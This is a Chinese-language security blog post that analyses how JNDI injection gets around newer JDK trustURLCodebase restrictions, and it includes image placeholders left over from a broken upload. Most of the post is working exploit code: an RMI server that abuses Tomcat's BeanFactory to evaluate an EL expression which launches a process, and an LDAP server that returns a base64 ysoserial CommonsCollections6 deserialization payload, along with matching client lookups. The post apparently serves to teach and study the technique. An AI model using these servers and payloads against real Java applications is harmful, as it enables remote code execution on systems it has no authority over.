Bypass JNDI高版本限制
老早就知道 JNDI 注入存在高版本限制且有相应的绕过手法了,今天来分析分析绕过高版本限制的两种手法!
前景知识
JNDI 利用 RMI 的版本限制
JNDI 利用 RMI 的版本限制在 com.sun.jndi.rmi.registry.trustURLCodebase/com.sun.jndi.cosnaming.trustURLCodebase
这两个属性上,也就是网上说的 com.sun.jndi.rmi.object.trustURLCodebase/com.sun.jndi.cosnaming.object.trustURLCodebase
,在 JDK 6u132/JDK 7u122/JDK 8u113
以上的版本中这些属性默认为 false
,也就是默认不允许从远程服务器上加载 Reference
的工厂类!
对属性值的检验在 RegistryContext#decodeObject
方法上
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VJaFpaqE-1642250776250)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20220102161851785.png)]
JNDI 利用 LDAP 的版本限制
JNDI 利用 LDAP 的版本限制在 com.sun.jndi.ldap.VersionHelper12
属性上,也就是网上说的 com.sun.jndi.ldap.object.trustURLCodebase
,在 JDK 11.0.1/JDK 8u191/JDK 7u201/JDK 6u211
以上的版本这些属性默认为 false,也就是默认不允许从远程服务器上加载 Reference
的工厂类!
对属性值的检验在 com.sun.naming.internal#loadClass
方法上
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VOcx1ISo-1642250776256)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20220102162459852.png)]
JNDI 利用 RMI 实现 Bypass 高版本限制
仔细分析过 JNDI 利用 RMI 的师傅都知道从 RMI Server 中获取到一个 Reference 之后,会先从本地 Classpath 中加载对应的类,如果找不到才从 Reference.classFactoryLocation
中远程加载对应的类!找到对应类之后通过 Class.forName(className,true)
获取 Class,并实例化后强制转换为 ObjectFactory
类然后调用 ObjectFactory.getObjectInstance
方法!所以我们的恶意代码可以放在 静态代码块/构造方法/getObjectInstance方法中
RMI Server
package com.rmi.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServerBypass2 {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(8999);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}
RMI Client
package com.rmi.client;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception{
InitialContext initial = new InitialContext();
initial.lookup("rmi://127.0.0.1:8999/payload");
}
}
JNDI 利用 RMI 实现 Bypass 高版本限制利用的就是 RMI Client 找到类之后会调用其 getObjectInstance
方法,这里利用的是 BeanFactory
类,这个类是存在 Tomcat 包中的,因此攻击范围较广!
BeanFactory.getObjectInstance
中存在一个动态方法调用,通过 RMI Server
的特殊构造可以调用到 javax.el.ELProcessor#eval
方法执行 EL
表达式(具体可看 BeanFactory.getObjectInstance
方法的代码逻辑)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4UHs7XUk-1642250776258)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20220102164918479.png)]
JNDI 利用 LDAP 实现 Bypass 高版本限制
当 LDAP Server 返回的 BasicAttributes.attrs
中存在 javaserializeddata
字段,则会对这个字段进行反序列化,那么就可以构造 LDAP Server 返回恶意 javaserializeddata
字段,当客户端存在反序列化漏洞的组件时就可以进行RCE!
LDAP Server
package com.ldap.server; /**
* In this case
* Server return Serialize Payload, such as CommonsCollections
* if Client's ClassPath exists lib which is vulnerability version So We can use it
* Code part from marshalsec
*/
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.text.ParseException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
public class LDAPServerBypass1 {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] args ) {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
// in this class remove the construct
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = "Exploit";
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, ParseException {
e.addAttribute("javaClassName", "foo");
// java -jar ysoserial-master-d367e379d9-1.jar CommonsCollections6 'calc'|base64
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRv" +
"cmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznB" +
"H9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4" +
"cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSC" +
"nnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5z" +
"Zm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFp" +
"bmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUv" +
"Y29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9u" +
"cy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hl" +
"LmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGU" +
"AgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBz" +
"cgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zv" +
"cm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5h" +
"bWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNz" +
"O3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1" +
"cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsA" +
"AAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAA" +
"AnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAA" +
"AAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAA" +
"AAF0AAtjbWQgL2MgY2FsY3QABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5n" +
"LkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIA" +
"AHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRo" +
"cmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4"));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
LDAP Client
package com.ldap.client;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;
/**
* codebase: true (means client will not download class from remote Server which is unreliable)
*/
public class JNDIClientBypass1 {
public static void main(String[] args) throws NamingException {
Hashtable<String,String> env = new Hashtable<>();
Context context = new InitialContext(env);
context.lookup("ldap://127.0.0.1:1389/Exploit");
}
}
在 lookup
处下断点,跟进到 LdapCtx#c_lookup
,此处的 var4 就是 LDAP Server 返回的数据,JAVA_ATTRIBUTES[2]
为 javaClassName
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xINk38cq-1642250776259)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20220102170251590.png)]
继续跟进,JAVA_ATTRIBUTES[4]
为 javaCodeBase
,JAVA_ATTRIBUTES[1]
为 javaSerializedData
,可以看到这里直接把 javaSerializedData
字段的值进行反序列化
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f0naydfm-1642250776260)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20220102170640462.png)]
总结
对于 JNDI 利用 RMI 调试可以从 RegistryContext#decodeObject
方法开始跟,对于 JNDI 利用 LDAP 可以从 Obj#decodeObject
方法开始跟,参考下面两篇文章进行学习
Reference: